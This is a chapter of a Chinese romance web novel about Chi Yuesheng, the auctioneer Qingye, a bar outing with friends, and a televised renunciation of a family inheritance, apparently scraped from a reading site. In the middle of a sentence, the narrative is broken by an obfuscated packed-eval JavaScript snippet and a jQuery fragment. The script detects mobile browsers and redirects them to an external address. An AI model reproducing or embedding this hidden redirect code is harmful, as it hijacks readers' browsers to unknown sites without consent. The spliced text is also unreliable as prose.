默认冷灰
24号文字
方正启体

8. 彼处水如酒

作者:讨厌爵士本书字数:K更新时间:
    在场四双眼睛都看得清清楚楚,是池月升主动把手搁在了人家大腿上,若这都不是公然摸大腿揩油,那是什么?


    到底是谁更过分!


    清也对她坏人先告状的行为尚可一笑了之,反倒是任苗按耐不住了。


    为仰慕的女神前辈讨公道的话还没说出口,便被预判了她的Lucas提着,离开了这个是非之地。


    “走了,别老蹲一个地方傻站着。”


    Lucas淡定得很。


    就这么一会,已经够他摸出池月升的底子和清也的态度。他是典型的公司利益至上,把客户维护好了就行,管你用什么法子呢!


    独处的时间又来了。一直没见薛澹的人影,估计是溜出会场去别处逍遥了。


    闲杂人等离开后,池月升才敢去看清也,这一看就撞了个四目相对。你眼中有我,我眼中有你。喝了些酒,清也看她的眼神更是柔情似水。


    池月升吓了一跳,下意识地躲闪目光,之后又觉得没必要,外强中干地壮着胆子回望。


    两相注视是一件可暧昧可尴尬的事件,池月升坚持了一会,还是率先败下阵来,拿起果汁掩饰性的喝了一口,问:“你怎么一直看着我不说话?”


    清也说:“只是觉得很怀念。”


    她一说话,空气中都是那浓稠得像是酿了几十年的花酒的味道,无孔不入。


    池月升只是呼吸便快要醉了,根本无暇理解对方话中的深意。


    伴着这女人香,她几杯果汁入腹,目光涣散,双眼聚焦无能。


    奇怪,她喝的……不是果汁吗?喝果汁也会微醺上头吗?


    一会叫个代驾回家吧?


    她倾身望向清也:“你一会怎么回家,喝了酒不能开车。”


    理了理旗袍下摆的皱褶,清也说:“我走回家,住的地方离公司很久。”


    她顿了顿,反问:“月升为什么这么问,是想要开车送我回家吗?”


    比起开车送清也回家,池月升本能地更期待坐女人的副驾被送回家。


    况且为了安全着想,今天是不能再开车的了。


    她摇摇头,“我有些头晕,不开车了,叫代驾回家。”


    清也非常讶异,“喝果汁也会头晕到醉吗?”


    她幽幽地上下打量着池月升,不客气地评价道:“月升的酒量好差劲。”


    池月升:……


    说不出反驳的话。


    ……


    “哎,来了来了,可算来了。正说到关键地方呢,主角就登场了。”


    入夜,池月升推开酒吧门,“唰唰”两道炙热的视线从吧台发出,钉死在她身上。


    在两个女人玩味的目光里,她顶着不适挪移到了老位置,“又在背后说我什么坏话?”


    薛澹不以为然,“哪叫坏话呀,我可是一点添油加醋都没有,绝对的一比一实况转播。”


    那天的藏家沙龙结束后,池月升真的觉得头重脚轻,反正酒量好的人设已经崩塌了,她索性当着清也的面叫了代驾。


    询问对方要不要顺道送她回家时,清也若有所思地看了她一会,拒绝了。


    搭个便车的事,不知道有什么好思考,又有什么好拒绝的。


    到家后,她洗了个澡,脱了衣服晕乎乎地狂睡十几个小时,一觉醒来看到时间后,池月升心头略过一瞬的绝望。


    绝对是小醉了,她虽然动不动就爱睡觉,但一般不会大睡十几个小时。


    天呐,去酒吧喝了这么多年,反而把酒量越喝越小了,连无酒精果汁都能让她喝醉!


    正巧又收到了薛澹的消息,约她去找白老板玩。其实并不想去,但池月升很好奇她究竟是不是酒量锐减了,这才应邀前往。


    她俩还是那一套打扮,薛澹紧身衣皮裙,白老板则是低胸吊带短夹克,一看就是常年在酒吧夜店混的。


    白滟放下擦拭干净的马天尼杯,“还是老样子,一杯大都会?”


    池月升“嗯”了一声,“谢谢白老板。”


    白老板熟练地挖冰切小青柠,失笑,“不用谢我,这杯可不是免费请你喝的,和那个文盲一样,记得给钱。”


    “喂!说谁文盲呢!你出来做生意的,懂不懂得尊重顾客!”薛澹急得拍桌。


    白滟专心摇杯,丝毫未被她影响,淡然道:“谁急了就是在说谁。”


    薛澹恨恨道:“你这死腹黑,我迟早要把你的破酒吧给砸了!”


    真是一物降一物。


    旁观薛澹无能狂怒,池月升默默喝酒,把账结了,还给了她喜欢的白老板很多小费。


    女人收到钱后,笑容又灿烂了几分。


    和白滟的斗嘴中完全处于下风,薛澹不甘心,只好战术转移,将矛头对准嘴笨笨的池月升。


    “小月月~”


    嗲声嗲气的三个字出来,池月升就觉得她不怀好心,“你发什么疯?有事说事,没事别乱叫我。”


    “嗯哼,也没什么。”薛澹造作地撩起头发,媚眼如丝,“就是你现在对人家这么冷淡,对拍卖行那女人却像是眼珠子都被黏牢了。唉,这么多年的酒肉情谊还是比不上从天而降的爱情啊~”


    池月升把嫌弃都摆在了明面上,“哪有你说的这么夸张?”


    白滟轻声低语:“拍卖师清也啊……”


    “白老板也认识她吗?”池月升追问。


    她含笑摇头,“算不上认识,至少我不曾见过本人,不过做了这么多年女□□的生意,听了满耳朵的八卦,市里那些的风云人物,多少都略知一二。”


    “据说是佳宝丽近几年劲头很猛的新秀拍卖师,妖精似的人物,一个眼神就能勾得一大把男女失了理智,为她疯狂举牌竞拍。”


    能从白滟这样一个风情万种的人口中得出“妖精”这评价,可不容易。池月升听得饶有兴致。


    “啊哈,失了理智疯狂竞拍,那不就是小月吗?”薛澹插嘴。


    白滟也是新鲜,问她:“认识你这么久了,还从来没听说过你对谁有好感的。这会儿倒是巧,一下子出现了两个,一个一.夜情对象,一个拍卖师。”


    薛澹拍拍胸脯,自满道:“还不是就像我说的,只要有心就会发现平江处处是美女,哪有一棵树上吊死的。”


    纠结了好一会,池月升还是轻声吐露,“没有两个。”


    白老板挑眉:“没有两个的意思是……?”


    “自始至终就是一个人,都是她,都是清也。”


    薛澹一口酒水没兜住,喷了一半呛了一半,被白老板皱着眉头索取了近千元的吧台清洁费。


    都没空搭理清洁费的事,她顺直一口气,第一时间逼问池月升:“你说什么?和你发生一.夜情的对象是清也那女人?!”


    被池月升奋力按着她肩头把她按下来,“嘘!你小声一点,这是什么很光荣的事情吗?”


    她这一通闹,一些捕捉到关键词的顾客探头探脑地望了过来。


    好吧,低调低调,深呼吸。


    ……


    可是怎么低调得起来?!


    “好啦,所以说平江没那么多风流韵事,兜兜转转还是那一个人。”


    池月升把蠢蠢欲动的薛澹按了下去,场面一时调转,竟变成她宽慰别人,“再说,一.夜情也是没实质内容的一.夜情啊,哪有你表现得那么夸张。”


    薛澹一股气憋了又憋。


    花花世界,游戏人生,她是双手赞成的。可见这迟钝朋友似是有栽在女人手里的趋势,她又看不下去了。


    薛澹最终泄气道:“算了,你开心就好。”


    反正只是玩玩而已吧?


    她目光复杂。


    不然,她可不觉得这个家伙能从这段感情里讨到什么好处。


    一杯鸡尾酒喝完,池月升竟稀奇地没有上头,甚至比不上在拍卖沙龙上的那两杯橙汁。


    “白老板,你的伏特加里没有掺水吧?喝了完全不上头。”


    街上又下起秋日微雨,店内的空气都变得潮湿,白滟脱了皮衣,单着一件火辣的吊带,吸睛得很。


    “你想想我的酒吧叫什么,怎么对老主顾做出这种自砸招牌的事?”


    酒吧叫“彼处水如酒”,WheretheWaterTastesLikeWine。


    她顿了顿,眼尾扫过薛澹:“给那个文盲掺水倒还情有可原,给你调的可是实打实的伏特加和君度。”


    “你个黑心肝的,老娘跟你拼了!”


    三天后,池月升收到了佳宝丽拍卖行邮件发来的取货提醒。


    与前几次不同,这是她第一次在有备而来的状态下和清也见面。女人落在她家里的灰雾色内衣裤被她洗净叠好,塞进漂亮的纸盒子里,一道提去拍卖行。


    有借有还。


    她住处离佳宝丽不远,六七公里的车程,但池月升开车慢吞吞,愣是开了近半个钟头才到。


    找了前台,说明是来找清也提取拍卖货品后,前台略有讶异地看了她一眼。


    “好的,请这边来。”


    拍卖行里权贵云集,打听上流圈子的消息,这里比酒吧更为及时。


    “诶赶紧的,时间快到了,打开看直播。”


    “什么直播?”


    “嗨呀,跟池家有关,据说要宣布下一任继承人了。”


    引路的前台听见这些碎语,神色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110022|195858||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    略显尴尬。她虽不清楚身后这位坐轮椅的池小姐在家族中具体什么位置,但那个“池”姓,本身就足够有分量。


    带领她到一处空着的会议室里,前台躬身道:“池小姐,还请您在这里稍等片刻,清也老师一会就来。”


    对路上听到的关于池家直播的消息很在意,送走前台后,池月升便打开了电视,切到池家惯用的直播频道。


    点进朋友圈了解一番消息,据说池家某位核心人物会在下午三点半直播露面,披露与下一任继承人有关的消息。


    时间距离三点半还有十几分钟。


    池月升莫名有些不安。


    所幸,清也没有让她等太久,女人一出现,她的不安便被冲散了。


    她今天没穿旗袍,选择了一件杏色的缎面连衣裙,收腰的设计使得腰臀部曲线毕致,步履间风情万种,看得人心旌摇动。


    “久等了,月升是来专门找我的吗?”


    池月升别开视线,不肯承认:“只是来找你提取我拍下的货品。”


    自提货品本就是小众,遑论她还选择了将货品寄存在拍卖师身边,其中心思,不言而明。


    清也没有拆穿,目光轻轻掠过她墨蓝的裙摆,最终停留在银色的锁骨链choker上。相较于上次的随意衣着,池月升今天显然是好好打扮了一番才前来。


    “你等我一下,还有几件东西在保险柜里,一会托人搬运过来。”


    正巧此时,电视上闪现一个池月升熟的不能再熟的人——一个女人。


    眉眼冷冽严肃,化了衬托气质的淡妆,深灰的西服,隔了层屏幕都能感受到本人的锋芒毕露与强势。


    是池曳影。


    池月升呼吸急了下,掐了把手心,时间正好下午三点半。


    直播画面中取景框框出了池曳影肩膀以上的上半身,她面色寡淡,偏冷感的声音一字一句,不带任何感情地宣读着仿佛与她无关的话题:


    “我将在未来全面退出池氏继承人的争夺,将机会留给我同胞的兄弟姐妹。”


    此话一出,屏幕内外都是一片死寂。


    “做出此项决定,是基于未来职业规划与家族企业发展的综合考量,也是出于我的自愿。目前我已与家族成员达成共识。”


    池氏集团会议室内,家主池董与一众股东默然注视着直播。他轻咳两声,病容难掩,默默点头,流露出对长女此番表态的满意。


    另一端,二子池炀轻蔑地嗤笑一声,整个人深陷在躺椅里,故意将电视音量调至最大,让池曳影清冷的声音充斥整个空间。


    “早点这么识趣不就好了,硬是拖到了今天这个关头才放弃。”


    在度假别墅里,三女池千帆和她百依百顺的赘婿小白脸打成了一团。


    “她简直像个假人,为了这场直播,也不知她往脸上抹了多少化妆品才遮盖住那不甘心的气色。”


    她伸着做满花哨美甲的手指,隔空点着屏幕上她同父异母姐姐的脸。


    赘婿吻了吻她的发丝,搂着怀中人轻柔问:“你长姐退出了,机会是不是就落到咱们头上了?”


    “那当然。”池千帆得意洋洋,“等把我哥踢走出局,你就跟着我吃香喝辣的吧。”


    ……


    池曳影的演说还在继续:“此后,我将专注运营我个人创立的嘉诚资本,感谢各位一直以来的关注。”


    直播结束。


    屏幕上只剩新闻主持的复盘。


    池月升仍痴然盯着屏幕,怅然若失,好似在镜头前主动宣布放弃继承权的是她一样。


    她仿佛都可以预见,家中那些“兄弟姐妹”正对着影像讥笑与庆祝。


    池曳影要放弃?自愿的?


    那个视权力高于一切的女人,怎么可能……怎么可能!


    池月升咬唇,在通讯录里刷刷下拉找到池曳影的名字,下意识点进聊天界面,输入栏中光标闪烁,她却犹豫不决迟迟不知该说些什么。


    上一次对话定格在两个月前:


    池月升:明晚的家族聚会我不回去,有画展要忙,你让他们不用等我。


    池曳影:好。


    稀稀拉拉的聊天,生硬的公事公办的口吻。


    这一刻才姗姗来到的关心是不是太迟了?真的还有必要吗?池曳影真的需要她这么廉价的关心吗?


    她……


    “月升,你还好吗?”


    温润的关怀仿若春风拂面,吹散了一丝不安,清也坐在了她身边,近到可以看清她蘑菇耳坠的棱角。


    “你……很担心她?”


    池月升强压下心头的那丝失落,点了点头说:“池曳影……她算是我的母亲。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)